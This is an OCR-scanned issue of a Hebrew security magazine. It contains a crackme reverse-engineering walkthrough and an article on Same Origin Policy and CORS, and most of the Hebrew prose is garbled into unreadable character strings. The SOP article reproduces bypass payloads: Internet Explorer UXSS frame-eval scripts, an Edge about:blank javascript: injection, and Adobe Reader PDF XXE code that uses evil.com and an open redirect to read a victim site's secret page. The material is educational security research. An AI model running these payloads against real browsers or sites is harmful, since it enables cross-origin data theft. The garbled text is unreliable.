OOCE1862 83 C4 0OC add esp,C

OOCE1 865 ~ EB E1 jmp third.CE1848

6 4
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17 D'W7 CWOX main NUxjavn 7y 0'7dnon NNIX TWKRD .main NUXion 7R ITNl PN INKY

:0'Nan 0DNATY

:GetComputerNameWh'xj71197 o'’ DLLyale navio

; "GetComputerMameW”

DY NX patch T 2y Nandw NNX ,AUnnn 7¢ Dun DX 7277 1IN7¥0 X7 ,0T DX YN 1'01 TWUKD
yxiaw > RC47 nnimv 1T N19¥N7 NNON 1IN DTN DY UNNun XINY 120 179 ynnwnn

Jwn QA

MD'T7 NYOW YaI7n X DNDIT .NIWYT7 N DY TIY 2IWN7 X 0 TRL|D NN X7 NNONNY |aim)d
| |

. GetComputerNameViiwa n'¥j7219 0a 7onw Tnim DLLyal Int 7init_term-a

| #] Functions windaw O &8 X
Function name Segment
|E| GetComputerNameW Jext
| 7] DIEntryPoint Jtext

DLLyai?? nna? o'y nnax kernel32.dIlw GetComputerNameVein Ti7a nnayivw DLEN yaip
NNIXY N'x197 yavy call eaxny Dawn N7 DX NIYY7 N1n 7y .yN'7? N'0IMn N7'NN2 nxping

JINK2 NI'\P'? o'xn
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;NN GetComputerNameVe 7190 It

NIYONN TIP YOPa NRIYKIN NNIYA L Yalpn 7w path-n Nk 72 12 PEB? n'wan Itn n'xjzaioa

nX I71|7'7 O NTIRON MY N1IDIN NTNNNN NX NIXN7 X'DN Nonn NTHEON MY Y0NS W DX

.O'XYN 1IXY ARXINN

TP RX'Y XY nN-7 17 NXY'YW DRXINND "2 AXRINYN NYXANN ,ATn TIj? VO O'RINY '9D

8B 01
3B 02
v 75 62
83 C1 04
82 C2 04
83 EE 04
~ 73 EF

mav
cmp
jne
add
add
sub
jae

eax,dword ptr ds:[ecx]
eax,dword ptr ds: [edx]
1E113A
ecx, 4
edx, 4
esi, 4
1E10D2

m

2ax=00281100
dword ptr[edx]
001E10D 4

=[0015FD3C]=341200FE

B4 Dump 1 | 24y Dump 2 | B4y Dump 3 | W4 Dump 4

Woumps | @ watch1 | be=llocals | 7 struct |

Address | Hex

| ASCIT

001E2000|48 CC 37 29|AF B7 FD 45|86 8D F9 EA|E6 0D 1C 4D |HIF) .VE..U8E..M|

DNA71 patch niwy? X0 D%7pn T ,NTIRON M2 A AN NI7A7 NIo17 X' nwpn T

...N77N 0T2 N2 X .NYRNT7 ARNYNYT

STI YOPA 1'UN) DUIYNY 19NN 7Y 1w ANKY

Address

Hex

ASCII

0015FD3C

48 CC 37 29|AF 87 FD 45[86 8D F3 EA[E6 OD 1C 40 |HI7) .¥E..UEE..M

DwN" awINn 12 1230 DIpn? y1an? ' jb-1 ja-7 Patchniwy? 71y nfn Xxan T yojpa o'RNY '9)

'NNO'ON NN 72177 * T2 0'OMIY NNINY "wnnwn

E . 8E 4D 08 mov ecx,dword ptr ss:|febp+s]
| . 8D 55 FB lea edx,dword ptr ss:|[febp-si
! . 8D 41 0OF lea eax,dword ptr ds:[ecx+F]
! . 3B CA cmp ecx,edx
|- L v F7 2B ja 1E111B
! | L 8D 55 EC 1ea edx,dword ptr ss:|[Jebp-14]
| ! . 3B C2 cmp eax,edx
1ol ammmm—- L w 72 24 jb 1E111E
P . 8B F2 mov esi,edx
| ! | . BA 10 00 00 0O mov edx, 10
bt . 2B F1 sub esi,ecx

| [EIP] ————>e BA 04 0E mov al,byte ptr ds:[esi+ecx]
! ! :| - 8D 43 01 Tea ecx,dword ptr ds:[ecx+1]
[ 1 L] FE C0 inc a
! ! f I . 88 41 FF mov byte ptr ds:[ecx-1],al
! ! :l . 53 EA 01 sub edx,1
Py l——s ~ 75 FO jne 1E1100
! 0 ! . SF pop edi R _
| ! ! . 8D 4z 01 Tea eax,dword ptr ds:[edx+1]
Pl . SE pop esi
[ L BB ES mov esp,ebp
00 . 5D pop ebp
L . £z 08 00 Fet =

"
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May you enter Deep And Dreamless Slumber.
s Slumber.

Great Joht
Your password is:

A_Calm_Lion_President_Sends_His_Regards

S mmmm i mm e
T —

Y'Ou ROCH!

"
= Innwna Tiny nn%xn Imaan Y2 !
Inmen 1277 Mavy o'pnwn pnw? proan?y jnth van 1w

1

182 ynY 0N n1Mp nwany

- hanR 1NN 0§11 1NIR

http://www.codeguru.com/cpp/misc/misc/applicationcontrol/article.php/c6945/Runni@pde

Beforeand-After-Main.htm

anIxl Securityn np7nna IronSourcenana - Reverse Engineeriag ninna oty :D4D
T R NNRODY NI YIVY IR W'Y NIRY 07 Nnimani awnn fznwn 1ipny
#reversingyrya Nix7w IRGhnw 0

www.cheats4gamer.CommnXa IX 0

llcashall@gmail.com?'m'xn namd>a I o

.Open Sourcanpi F5 Networksnnana ymn nnoax Jpin : RealGamg - 1 ¢ 9§ _ X

http://www.RealGame.co.iljvlnva'k 'nX o

realgam3@agmail.com»m'x o

https://github.com/realgam3:GitHub o
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http://www.codeguru.com/cpp/misc/misc/applicationcontrol/article.php/c6945/Running-Code-Before-and-After-Main.htm
http://www.codeguru.com/cpp/misc/misc/applicationcontrol/article.php/c6945/Running-Code-Before-and-After-Main.htm
http://www.cheats4gamer.com/
mailto:llcashall@gmail.com
http://www.realgame.co.il/
mailto:realgam3@gmail.com
https://github.com/realgam3
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Same Origin Policy

22 NI XN

ASN

2V TIN%%1 ,|979 TN - 21wN 27 ont'nNn? K7W WweN 'R Web-n 0%71va yTn nnouax Yy onaTtawd
Nivpa Ni7w? onfyvn X7 Dnw "nva" o'pna Web 'nnosn naan L9017 W'y NN nimann

AIYN AT VITAL ANINKA TAIY DN IR ,N'WAN NN DWTE PIMTA K71 010N DY 7K Ni?n Txn HTTP

DY NNIPN |2 DAY QIN'Y YAINN D19T9TA Yynuinn NNLAN |12 Xin Same Origin Policy

Ralan]

TTIA7 TN (12200 L9797 752 ynuim orirnl Netscape Navigator 719712 1995w 7nn [Njz'vn

ANK 72U 0'M'01Y7 0'9 TN VTN 7277 IR (Nmon) N7y y¥a7 o1 X7 TNRY D ,0NN
.0 0710 X7 "2IRY NRT Andl 7Y nnonn an ,SOPA [Ny DX DIZOR DT Inkna
?0rigin s ¢ s

hostn ,Nn'DoN DX VI INIXR DX 07710 0'9T 1Y .YaN TN NO'RNA LI7W ipnn KN 9T 7w Origin

http://store.company.com/dir/page.htmhTn nnaiT7 ,0'nt DN7w VIISNI

-0'9TN IND M INIX va oy

T http://store.company.com/dir2/other.html
T http://store.company.com/dir/inner/another.html
1 http://username:password@store.company.com/dir/another.html
:nd X7 N
.MIY Nn"o - https://store.company.com/secure.html

.My VIO - http://store.company.com:81/dir/etc.html 1

.(Mz'rm mmxnn 1) niw host- http://news.company.com/dir/other.html

7w 2x¥n2 |99 19N
http://store.company.com:80/dir/etc.html

Same Origin Policy
www.DigitalWhisper.co.il

68 2017 1 83x T x4 L ¥



http://store.company.com/dir/page.html
http://store.company.com/dir2/other.html
http://store.company.com/dir/inner/another.html
http://username:password@store.company.com/dir/another.html
https://store.company.com/secure.html
https://store.company.com/secure.html
http://store.company.com:81/dir/etc.html
http://store.company.com:81/dir/etc.html
http://news.company.com/dir/other.html
http://news.company.com/dir/other.html
http://store.company.com/dir/etc.html

Technologic

javascriptTip 7'onn "NXY W2ia KIN [P0 INKT7 .pnann X710 19 7120 ONKY 1ANNN Wnnwny N
wnnunn 7y yadd (session 1Ia'n MY 120 7w NRNY 7721 .70 DR DR IRYNnY 21Tt
DY QT 7D NIwyY 71D' qwn NRN ,cookiesn MR MWL nwpa DA N (91T 77311
Y¥a7 17'9X IN UNNYNN 7Y NINTIEN DN2AYAN 1Y 7RUN7 710! ANRD L7220 MK wnnwnn

NYTN NN2Yn

:INQN NRAWN NIX 72771 NIRT NWRa DYWL n01awdD

© XMLHttpRequest cannot load http://localhost:8462/apifcard. Mo 'Access-Control-Allow-Origin® list:1
header is present on the reguested resource. Origin 'http:/flocalhost:388@' is therefore not allowed
access. The response had HTTP status code 491.

origimw yT1n? |9T9Tn 0T NWa? TNX originm yamw Same Origin Poliguam nimn?% 0101 X
JNK

70 ,NMIY 1IN YT N7Ap XN 120 nhon .SOPH T 2y N9OXI Nwpa A10 7D X7w 1'nan? v
NIDINI K7W NI7IYD NND .N71VD NIYXAN X7X VTN DX NNTAN X7 NIYZ1] Wnnunt nwa 'Ry

Shialabinr

<scri pt-oswpocnzin..
<i mgsr-omidnamm g
<l ink hcSSiuvg' . >
Jformg( nroou nnw
VTN PN INIRA K7 [20 TINY1EARD Ty DX VTR0 DR 07270 P nnnY) iframea naxn
(TINn 722m 7277 "'woRY

(jo19712 "7n) @fontface T 7y n'vIPLA wIN'W
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Origin 1 X

w' X document.domainxnjzaw Javascriph ninwn "'y T Y 19Y i DX DRl 710 Ty
NXAY PNT DR ('O 7D L17W AR "AIT7 IN LINXY ¢ "IT? 20 IR DY 200 XInw 17 o'wh
|9T9Ta

NNQN NNIX2 WA DR NRYY 2100 store.company.conminya U970 NNAIT? 2

document. domain = fAicompany. como

['"MIT NINYNA NI .ORNNA I'7X ON'NNl IY'YY VTN [9T9TN ,NINYNN 7Y DX DIYNY yan
91N MINWNN LTV NKRYE (7'a0 vojrLVD X7) TMY 7w VISNI hostn NX 7N TNIM Y KIN
AN A.COM AN ['"'IT NINWAN OX D7 .PTIV XY ["MIT W7 Dy AN X979 D0IvS NTnnn?

W INIKT? MK M2'Y 71D'0W NNNY ,07TIR 11D 0 R7 KN L,a.CoNt7? ININ NIYUNR

HTTP access control (CORS)

["IYN XINY YT 17 ' D DNNR DN DA 19X NIR9Y 1701 DNNKRY DX 010N MNK ,0'Ny9Y7
PTYY? 17w 07927 "wONNY S3 DWA [IONK 790NY 1Y NN'W ' AMazoRr? nnaiT? .nw1a pi7ny
NI2yn7? 715' (TNX 1EANn) 01on INK 2 ,[N'7Y 1ok 11w “CORSH nivpa NX n'xvig T

179 MWD T Yain DX avn 72 yalp (NK M) 17 [1IoNRN 72X

HTTPnooin 1 7v 7w19 CORSCORS Cross Origin Resource Shafingiaan Tvi It nnoun 11y
ONK PN RYNIN YT'NY NwAY 010N NIpn7 Anm DX 07NN 97917 0Ty o'wTn headers

YTN7 WA DYIRND DN ATR 971977 Nnik AccessControtAllow-Originnaninn

JIYPRAN DX NINT? IX QWUKR? DX 070 nwn ' 2vw origin owa nnp qounn CORSiwpa?

.preflighted requesta simple requestsn'aio W7 NIYPAN '1A10 |2 NTION NNy

NN NN'WAN NN DNNR 1 Nionw POSTk HEADGETaion niwpza |0 Simple requests

Accept 1
AcceptLanguage 1
ContentLanguage 1
ContentType 1
DPR

Downlink 1
SaveData
ViewportWidth 1
Width
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:0' 2NN TNXR NI7Dn (POSTwjpaa) ContentTypenTwn N1yl
application/xwww-form-urlencoded 1
multipart/form-data

text/plain
.MIY YR 1127 oxni simple X1 preflight aion nwpa n'nn 1980 0'KIN2 DT XY W'D
UKD 210NN DYPAYT NnalT

Client Server

Simple request
GET /doc HTTP/1.1
Origin: Server-b.com

HTTP/1.1 200 OK
Rocess—-Control-Allow-Origin: *

[https://mdn.mozillademos.org/files/14293/simple_req.pngijzn]

NAIYNNIL YN IR N2

GET /resources/public -data/ HTTP/1.1

Host:  bar.other

User - Agent:  Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre)
Gecko/20081130  Minefield/3.1b3pre

Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept - Language: en-us,en;q=0.5

Accept - Encoding:  gzip,deflate

Accept - Charset: 1SO-8859- 1,utf - 8;9=0.7,*;q=0. 7

Connection: keep - alive

Referer: http://foo.example/examples/access - control/simpleXSlInvocation.html
Origin: http://foo.example

HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 00:23:53 GMT
Server:  Apache/2.0.61

Access - Control - Allow - Origin: *

Keep- Alive:  timeout=2, max=100
Connection: Keep- Alive

Transfer - Encoding:  chunked

Content - Type: application/xml

[XML Data]

YT NWA7 7210 Vijm DY 97977 Tnony nn ,NID WA NAIWNA 1901 NNNIN7 27 My
D"'9'¥90 NNIPNA NNYMY T 7Y NINT NIYYY? 7211 ,0WIRAN NNIPARN NIX 72207 N¥1) OX .0t

NNnda

Access - Control - Allow - Origin: http://foo.example

N7 1o0n quini 300001191 Y1 'K MY .XWIN DX U'NNn? Nan 7y node.jsa |u7 DY 'Mand

JIYpa 1 71 [lwrn 1w 78 Mivw HTMLTimy wami 300101191 ya 2 nwi
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:COR& wx ninnd 72 GEThwjma

INNDWwW

app. get (/" , (req, res){

res . send('Hello Get!' )

})

"2 MY T 2 waimn Tinynn N

$. get ('http://localhost:3001" , ( data) alert (data))

.N71Y90 N¥INY NNnal 'R NYY nyan nwpan 971 OPTIONS&wa nn7wa X7 nTn avna
N7 XIDI|9TOTN 7R NY2AN nWzanwd |27 .NNNdN 72 xR "Hello Get! naiwnn nx 2'7hin nwn

DTN NOTINY AXR'AYUN DR Y'O97N KRIN ,NNNIDN DX NXK

Control-Allow-Origin' header is present on the regquested

ed access.

InXI7M2a N71YON DX Y¥ I MwnY ['¥7 21N X

[namn ,simpleaion nwpa 7w njpna .CSRB1M X7 12Thw D NWpan NX DONY AT KIN [9T9TN

NX 72721 7ATN X7 ARAWN,NAIWNY NNNDN DX 9'0NRY Yaia ATINY YT N3 DX DoIn N

17 n'oxw alert-n

app. get (/" , (req, res){
res . header ( "Access - Control - Allow - Origin” ,

res . header ( "Access - Control - Allow - Headers" ,
res . send('Hello Get! )

})

Jpreflight nwpa 197 22pn 1D nwpra DNk AR 2¥nn ,"Naom"” nwpa N7w1 DR ,NRT NNIvY?

2IT2 7N'YI019 N7 W' D, NNAN NYPAN DX 727 PIn XINY DY OY XTI7 7D 071 [9T9TN NNIRY
[ [

MY Nivpa arRk nyT7 1  HTTPOPTIONS WA X'n 7Y [9TOTNY NWPAN P11 DNA7 N

.07 NN 2R CwUNn
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2 AR NN

-
~Mathod: POST
i ~Haaders: X-PINGOTHER, Content-Typs
@
=3
o
o
<
=
£
=
=
4]
<
o Access-Control-Rllow-Origin:
Access-Control-Al low-}
Access-Control-Al low-Heade
-
B ; charset=UTF-8
5
=3 -Mathod: FOST
o Access-Control-Reguest-Headers: X-PINGOTHER, Contert-Typs
£
[1+}
=
-
HTTE
Access-Control-Allow-Origin: http://

[https://mdn.mozillademos.org/files/14289/prelight.pnoun]

a0 m nwpa nn'w? N > X-PINGOTHER: pingpongninn ny POSThwpa nnww N

XIn N2 nxan OPTIONS nwjpa NX N7w* [9TOTN -[IUXRIN 27WIAY DT 0770 NINKA "'y NN

:POSTwja nitw? nivn wpan

Access - Control

- Request - Method: POST |

:0'VIYS X7n headersn 112y NIvWN wipanl

Access - Control

- Request - Headers:

X- PINGOTHER, Content - Type |

NN NYWpPan

OPTIONS /resources/post
Host:  bar.other
User - Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en

- here/ HTTP/1.1

- US; rv:1.9.1b3pre)

Gecko/20081130 Minefield/3.1b3pre

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept - Language: en - us,en;q=0.5

Accept - Encoding: gzip,def late

Accept - Charset: ISO -8859- 1,utf - 8;9=0.7,*;,0=0.7

Connection: keep - alive

Origin: http://foo.example

Access - Control - Request - Method: POST

Access - Control - Request - Headers: X - PINGOTHER, Content - Type

HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 01:15:39 GMT

Server: Apache/2.0.61 (Unix)

Access - Control - Allow - Origin: http://foo.example

Access - Control - Allow - Methods: POST, GET, OPTIONS
Access - Control - Allow - Headers: X - PINGOTHER, Content - Type
Access - Control - Max- Age: 86400

Vary: Accept - Encoding, Origin

Content - Encodi ng: gzip

Content - Length: 0

Keep- Alive: timeout=2, max=100

Connection: Keep - Alive

Content - Type: text/plain
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https://mdn.mozillademos.org/files/14289/prelight.png

7 wUKNn NIN D Myl Y TWJ|71'7 NIN'RNN NNNID Y'Thin MWD ,0'RN DNIXY 1ND

http://foo.example

,Qontent-Typel X-PINGOTHERNNDN NX DA ©wxn XNl ,OPTIONS POSTGETNITINNA nwa?

NI DX NNPN .864001vn oy AccessControfMax-Age owa NINId 0'RIN NNIX 90102
NIV TIY Ni7wY 10 X7w 1) cachea nupan nNX mw? 7100 Xin (N1wa) nt nnd? 97917

vy 24 117w mppna preflight

INDWwW

app. put (/' (req, res){
res . send( 'Hello Put" )

1)

‘1 nwn nwp

$. ajax ({
url: 'http://localhost:3001" ,
type: 'put’ ,
success: (data) alert (data)

1)

-0 NYRA DT 210N NIY{RA 7701 7900 X7 'K nww 77201 OPTIONS WA nw'n nr avna

NR2AwN oy Ywon OPTIONS

cannot load http://localhost:38@81/. Res

igin' header is present on the requeste

preflight r

irce. Origin 'h

ontrol check: No 'Access- (index):1

access.

'N2N 2¥n? mwn nx Ml (PUTnwRa nn7wa X7 071vn ) yxann X7 17'9x PUTFN n71vol
app. put (/" , (req, res){
res . send('Hello Put!" )

)

app. options (/" (req, res){

res . header ( "Access - Control - Allow - Origin® , "*");

res . header ('Access - Control - Allow - Methods', 'POST, PUT, GET, OPTIONS' );
res . header ("Access - Control - Allow - Headers", ™" );

res . header ("Access - Control - Max Age", "86400");

res . send()

PUTFh nupa nx N7 97190 D71 ,PUTFN nupa nx wwxni ithn OPTIONS nwpa nrn axna
NX 19010 X7 PUTFQ Nwpaa D ;R Y'97'1 NAIWNN DX DION! [9TOTN TWNNA X .YXINN X'l
22 n'nn X7 nyonl GETh nwpaa 1nd 190Ny NNIYN DX 9'011 1ITN' VTN DAY *TD .NNNDN

AITN' YyT'nl nX Ay
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Technologic

2 NXN1I9'on D

Isita GET
or HEAD?

JavaScript makes a
cross-domain XHR call

Path of added latency

1
|s the content- No Make OPTIONS call to
ves type standard? server with all custom
: details

Path of standard latency

|
|
1
Make actual XHR 1 ERROR
)
3 1

[https://upload.wikimedia.org/wikipedia/commons/c/ca/Flowchart showing Simple and Preflight XHRizad

.NT IR WKRT? 1Y Mwn ,cookiesni?wy 15 ?cookiesind ,credentialsnn'w 7w avna njp' nn

:nxan GETh nwpa nk n7wa DX ,nnaiTy

GET /resources/access - control - with - credentials/ HTTP/1.1
Host: bar.other
User - Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X10.5;en - US; rv:1.9.1b3pre)

Gecko/20081130 Minefield/3.1b3pre

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept - Language: en - us,en;q=0.5

Accept - Encoding: gzip,deflate

Accept - Charset: ISO  -8859- 1,utf - 8;0=0.7,*;q=0.7
Connection: keep - alive

Referer: http://foo.example/examples/credential.html

Origin: http://foo.example

Cookie: pageAccess=2

TWUNN XINY 17W naIwna 'Tnn? oy nwin 7ax preflight requestnyy X7 nmix nwpan
credentialsny nwipaa .AccessControlAllow-Credentialsnanipa true 1w ' 2y niay n'7ap

Y1902 NNINRN DX X7 20N KR ) wWildcarda wnnwn? 710' X7 nwn

HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 01:34:52 GMT

Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi 12.4.2
DAV/2 SVN/1.4.2

X- Powered - By: PHP/5.2.6

Access - Control - Allow - Origin: http://foo.example

Access - Control - Allow - Credentials: true

Cache- Control: no - cache
Pragma: no - cache
Set - Cookie: pageAccess=3; expires=Wed, 31 - Dec- 2008 01:34:53 GMT

Vary: Accept - Encoding, Origin
Content - Encoding: gzip

Content - Length: 106

Keep- Alive: timeout=2, max=100
Connection: Keep - Alive
Content - Type: text/plain

[text/plain payload]
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I
X
o<
w

LSOP + ¥4« - s

W' ,|9TOTNN YIN) DIIY D'A'DIAI DIDTOTA 112NN WIN'N NIDY NIYYIN IXYNY DIWN 1700
2V wxannw niopnn nnd aex (Tl Flash,JAVA appletg> SOPo'770w pnx 0'anY nan

78 DA i L,0IvN D19 TOTN

Ynternet Explorer
n1 0,8 noMa7 Ty .SOPN 11 wimma niw7in 0y 7w 11 1o0n ,I'n explorer|9ToTa
NINWNAN 7Y 1D DR NRYY [pn NR71 documentupaixn N JSNIY¥nNxRl oNTY?

document.domain

N21N 'MITNN MNKD TNKRN 78 on"nn N |9TOTN ,NINYNN W 'N'Y INKY 4T yby]

var document;
document={ };
document. domain = 6éexample.org';

ailon X' nw7inn .8.1-1 7 Windowsa 11 nona 1y IE% nyown ,(CVE20150072) noon nwlin

.NRAN NIND (122200 NO'RPY IR NNWONA X' (AT MNN [ITR X7 n*ww UniversalXS$UXSS

VOO YINT ,AWN NAIND 7X redirect1'TNNN ,NYWY N19n TNRY 7D iframes v niyxnxa N1

YN |'ITN 7w contexta

src ="redirect.php"
src ="https://www.google.com/images/srpr/logol1lw.png"

top [ 0]. eval ('_=top[1];alert();_.location="javascript:alert(document.domain)"

T NQT RIN MIPY NN
redirect.php? nwjpa yxani pimn 7w frame-n nx 1o 91910 .1
UNTIN ANWNY NYRa y¥anl nonn 7w frame-n N yio 91T .2
Jiwrn frame-n 7w windowProxyn 7y evaln nTizo NX ynw 09"Pon NX 7'von 919N .3
.Mnwna awn frame-n 7w WindowProxyn nx nw .1
.alertyoim .2
NYTINN DX N0 wnnwnnw ndnn .3
TN DX ™l N7NNna Mnwy nnwnn 9w locationn nx mwn .4

.nonn 7w originkd nnN awn framea ynr Tipn 4

frame 1. DB gL rEsouroe: | 1)
frame 2. 2]
script execution : 3]
of frame 1
[3.1] [3.2] i [3.4]
[3.3]

[http://blog.innerht.ml/content/images/2015/06/ie.pngijn]
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frame-n ntn IAT2 ,NRINNN DX A0 YNNYNNY NdNN U9MZ0NY KIN N9 |"aynn 7700 0¥V

(TN N mwnw redirectn 7711) NNunn AkWUNY? NN 1YY

7m0 2v iwrdn frame-n 9w originka ya xin D ,SOPTa1 719 X7 090N ,ARINNN DI'O TV
-N D) VOMFON 7Y OrigintN NN NIYN [DTOTN ,97INN MK NMI9NN INK7Y X', NTDINN NYAN
PN ININKA L (Nvnn) N frame-n 78 NNvY7 715 P71 (N™9NN 2Py ,NINWN INIX 7'VONY origin

.NMIYN 72p71 nonn v

XN T2 Ynnwunn DY n'XpPRI0I'X yalab] noPNNN NKX yxaY N1

src ="redirect.php"
src ="https://www.google.com/images/srpr/logol1lw.png"

top [ 0]. eval ('_=top[1];with(new

XMLHttpRequest)open(“get","sleep.php",false),send();_.location="javascript:alert({document.domain)"

XN 7V YN wnnwnnw X R71007TN DR VYN 17U DNWN IR NIXa

.CVE2017-0154:x'n N7 XA NINNX7? NN72nnw M1Myn nwin Tiy*

Edge
|9ToT2 about:blankTmyn 7w "nIT? nion"nna X' N9 nnarm xarw (CVE20170002) nw'2inn
[am> a0 document.domain?w wan http://example.com/index.html:Tmy%2w 1man 12> .Edge

?about:blankTimyn 212y i ' nn 7ax ,example.com

2V yna_www.magicmac.CoOnMnXA 1INIX DX NI7D VAN TINyn 10N 177 0'RNN7 Mx vn

‘magicmac.conty |'niTn NX 72p' XN ,about:blankTiny? 21xaynn Nno>

B aboutdocumentdomai X+ = [m} ® 3 Blank page X IS = [m] X
& = 0O | magicmac.com T | = 7 O &« = 0O ‘ Search or enter web address g ‘ = 7 0O
location href = http:/www. com/dom/index.html Address bar empty s not important here

The important thing is that we are really
in about:blank and our domain is still the
referrer (www.magicmac.com)

document.domain = www.magicmac.com

The link below points to "about:blank’

Clicking on this link navigates us to an about:blank with
a document.domain that matches the one of this page

F12 DOM Explorer Console Debugger Network - 2 DOM Explorer

about:blank

Debugger  Network ]
location.href location.href
“http: //www .magicmac . com/dom/index. html" “about:blank”
document . domain document . domain
. magicmac . com” e magicmac . con”
> X » oz X » 2

[http://www.brokenbrowser.com/wpcontent/uploads/2016/12/0%aboutblankpage 1024x419.pngin]
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.01 DIw'? Mon X7 I DW'7 Mon 17w sourcenw iframe-a njz' N2 INIK

B sbout document domai X+ —

O
é — O | magicmac.com/dom/iframe.htm * | = :/; Ca

*

location href = http://www.magicmac.com/dom/iframe html
document domain = www.magicmac.com

<iframe=</iframe>

DOM Explorer Conscle Debugger Network

X Target | _top: iframe.html i

window[8].location.href
"about:blank"

window[8] .document.domain

"wiw . magicmac.com"

> X » A
[http://www.brokenbrowser.com/wpcontent/uploads/2016/12/02aboutblankiframe.png:nipn]

TARN NWAT 17010 X7 D7 ,n1v M7 X URLIMIX NX D07 N 021w DNKn iframe 1w [youl DX

...|9T9TNN NiN'w' about:blankTmy% 0101 oxw 17 D'wa .awn X

B Blank page x4+ —

O
e — O | aboutblank * | = :f; @

Manually typed "about:blank”
into the address bar.

*

The location is about:blank but the domain is empty!

How much power this about:blank will have?

Qo||lAo

Target _top: about:blank v
location.href
"about:blank”
document.domain
> X P A

[http://www.brokenbrowser.com/wpcontent/uploads/2016/12/03aboutblank-domainless.pngnijmn]

"7 0N XN
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q'on ox D7 ,n¥'w 'NiT 722 about:blank? nwa? 715' 'miT hon about:blankw xin aiwn 12T

7Y IIX'NN TINYAN YA Y7 YR nwat on L iframe 7va anr v iframe Tyt

B3 slank page = (m} x

< | =

This site says...

www.bing.com

|:| Don't let this page &gate more messages

oK

window[0][0].location.href = "javascript:alert(parent.document.domain)";

[http://www.brokenbrowser.com/wpcontent/uploads/2016/12/05injectscriptbing.png:in]

N7y 2'nR X7 7ar ,(Flashind) 191910 7w devtoolsa win'w X77 12Tn NX A'wn? NIy Nnd w!

9102 NNIENA [NV KNPY N1 INKNA

Yava applets
JOTOTAN AXNP T 7V XYW NHR'A NUXPY79X KIN ,Javanoswia 2ImdY |'R-aR79 XIn Java applet
|'®-AX79 N 17w 9T TR ww IN L JVM wnnwnin 7w awnnn uw Ny Ly appletw rava
tag:appletn nx HTMLN 77 q'on ,yn% D'¥N nNIRY nNIR'2 NU¥p*7o8 oNxry inx? JVMYwy

TIR7 W oy

code="HelloWorld.class" height ="40" width ="200" /

Jjar-7 e IR

archive ="example.jar" code="HelloWorld" height ="40" width ="200" /

7U NNVAXRN X YNNY7 71X N9 DA D71 INXY [9T9TN *T' 2v nyxann X7 appletn 7w nx1nn

.SOPNX D2 Nt RXIMDI[9TOTN

navm I'n on LIP namd nnix n'n 0t w7 ox ,nnart? 1.6u451 1.7ul7 nux'a nikoNaa
DNX Y ,namebased shared web hteg 7w axna D Nd1 WA X7 [AMdY NN .origin INIX?
.hostnamen nTw '97 nnoY X7 yT nwn nmoal L IP namd anix 7y naw? o'710' na? oo
V2 DINX NNYY 7907 N7 TING Y191 12T [N NIZRIVYT DMWY N0 ,TNIMA My 1aTn

AP nam» nnix
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YAdobe Reader
Taly PDFa SOP.xwima nnvax *wo1 0y 190n N7 971977 Adobe reader?w |'R-ax79n
27 Ix ,"Mvnn 7700 D91 A T 1 nno? 215t XN A 'nimn van PDFDR 01w Nz nnixa
wUnnwn? nyTIin YIOPN ANK n? 019 ¢ PDRF oX NN DRT .17 QUKD ynhunnw "It

AWKRNY DT XN WNNWNn 0yon ' ,770 )0Tan nMivnwn NJIY 12T .NM9N DX WKRT? 10Xy

J'iITn va X7

noninn , XMLData.parse'xjz1on oy PDF? XMLamin'? n*715' nnax Adobe Javascript ARhtya
nonnl Levil.coma Xxnin MNXK W' QpIntw N L(nnn oipnn Dy XML qroin? 0T) XXER
N awal PDFTNXA 0Ty Qv prRt pinn .target.com/secrefy Xxnin yT'n a'wn? XN

:NAN NMIxa XXE70n XMLnatya naar PDFA redirectyxanin

http://evil.com/wow.pdf:

var xml="<?xml version= \"1.0 \"encoding= \"ISO - 8859- 1\ "?><IDOCTYPE foo [ <IELEMENT foo
ANY><IENTITY xxe SYSTEM

\ "http://evil.com/redirect.php?redir=http%3A%2F%2Fwww.target.com%2Fsecret \ ">]><foo>&xxe;</
foo>";

varxdoc = XMLData.parse(xml,false);
app.alert(escape(xdoc.foo.value));

2 A YN TINVN

http://evil.com/redirect.php:

<?php header("Location: ".$_GET['redir']); >

NX M9 2Tt Nwn XXEn 971 evi.comnw? nwiza nwn ,PDFY Tmy% witat wnnwnwd
7722 21NN yTMN DX 727 WK X7 wnnwnn ntn ax¥na target.com/secret?y nNTh wnnwnn
[PM7 on"nn Adobe reader.PDFxi¥a n1iv nipnn v yTnnw [awna iIng? X7 Adobeqx ,SOP

.NMONN 7w Ty K71 Ninn originknn yian 17'80

nnwy |N'1 12 2x¥n ,0pen redirectona D"PY D'INK KIN NXRXIN NNIXR DX 950NV N9'PN oI TV

.01N01'R2 NN MIEN ,NIYAN N"15NN v

XXEronn PDFa'n' awn Timyal PDFaxnn Ty p'7n' evilcom "nima 7ya Qpinn N1 axna

INNQN MIXA DY IYURIN Tyl 9xaw PDFR .nonn WKy

target.com/redirect.php?redir=evil.com/doc.pdf |

Tiny .qpimn 9w PDFY Tiny 2% nunn nw nNX n1911 open redirectn nw7in NX 7¥1w D

:PDFRwmn
http://www.evil.com/evil/index.htmt
<object
data="http://www.victim.com/redirect.php?redir=http%3A%2F%2Fwww.evil.com%2Fevil%2Fdoc.pdf"
type="application/pdf" height="300" width="300">

:PDFn Tiny
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http://www.evil.com/evil/doc.pdf.

var xml="<?xml version= \"1.0 \"encoding= \"ISO - 8859- 1\ "?><IDOCTYPE foo [ <IELEMENT foo
ANY><IENTITY xxe ~ SYSTEM\ "http://www.victim.com/secret \ ">]><foo>&xxe;</foo>";

varxdoc = XMLData.parse(xml,false);

app.alert(escape(xdoc.foo.value));

.11.0.0n01a nx7 nMaoa (CVE20130622) nw'7zinn
Xl A

YUNNYNN DY NI7ZIY9 Y¥A7 TIXN 777 0 17TY721 D1NVI'RN NNVAXT? NI AW 111 XN SOPN
ntya SOPN NN nwa awx? N1 (17w 27T K7 W72 wnnunny nNind) nxav Dipn 702

J1'7X IWATY 0N NAIX DX ' 27 o'w? aiwn ) CORS

